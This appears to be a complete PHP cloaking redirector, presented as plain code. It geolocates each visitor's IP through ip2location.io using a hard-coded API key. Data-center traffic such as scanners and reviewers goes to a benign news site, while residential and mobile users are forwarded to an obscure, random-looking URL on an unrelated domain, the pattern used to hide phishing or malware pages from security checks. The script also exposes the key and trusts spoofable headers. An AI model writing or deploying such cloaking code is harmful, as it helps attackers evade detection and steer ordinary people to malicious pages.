ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$apiKey = "2A0207958F6B7C446F5F2D35C971766D";

function getUserIP() {
    return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
}

function logDebugMessage($message) {
    $logFile = __DIR__ . '/debug_log.json';
    $logData = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) ?? [] : [];
    $logData[] = ['timestamp' => date('Y-m-d H:i:s'), 'message' => $message];
    file_put_contents($logFile, json_encode($logData, JSON_PRETTY_PRINT));
}

$userIP = getUserIP();
if (!filter_var($userIP, FILTER_VALIDATE_IP)) {
    logDebugMessage("Invalid IP: $userIP");
    exit('Invalid IP address.');
}

$apiEndpoint = "https://api.ip2location.io/?key=$apiKey&ip=$userIP&format=json";
$response = @file_get_contents($apiEndpoint);
if ($response === FALSE) {
    logDebugMessage("Failed to fetch API response for IP: $userIP");
    exit('Error fetching IP data.');
}

$data = json_decode($response, true);
if (empty($data) || isset($data['error'])) {
    logDebugMessage("API error or invalid response: " . htmlspecialchars($response));
    exit('API error occurred.');
}

if (!empty($data['proxy']['is_data_center']) && $data['proxy']['is_data_center'] === true) {
    header("Location: https://searchenginejournal.com");
    exit;
} elseif (isset($data['usage_type']) && in_array($data['usage_type'], ['ISP', 'MOB', 'RES'])) {
    header("Location: https://tvrcemeheff.spiritandconcussions.org/hWJLqiXm");
    exit;
} else {
    logDebugMessage("Unhandled case for IP: $userIP. Response: " . json_encode($data));
    exit('Unhandled user type.');
}
?>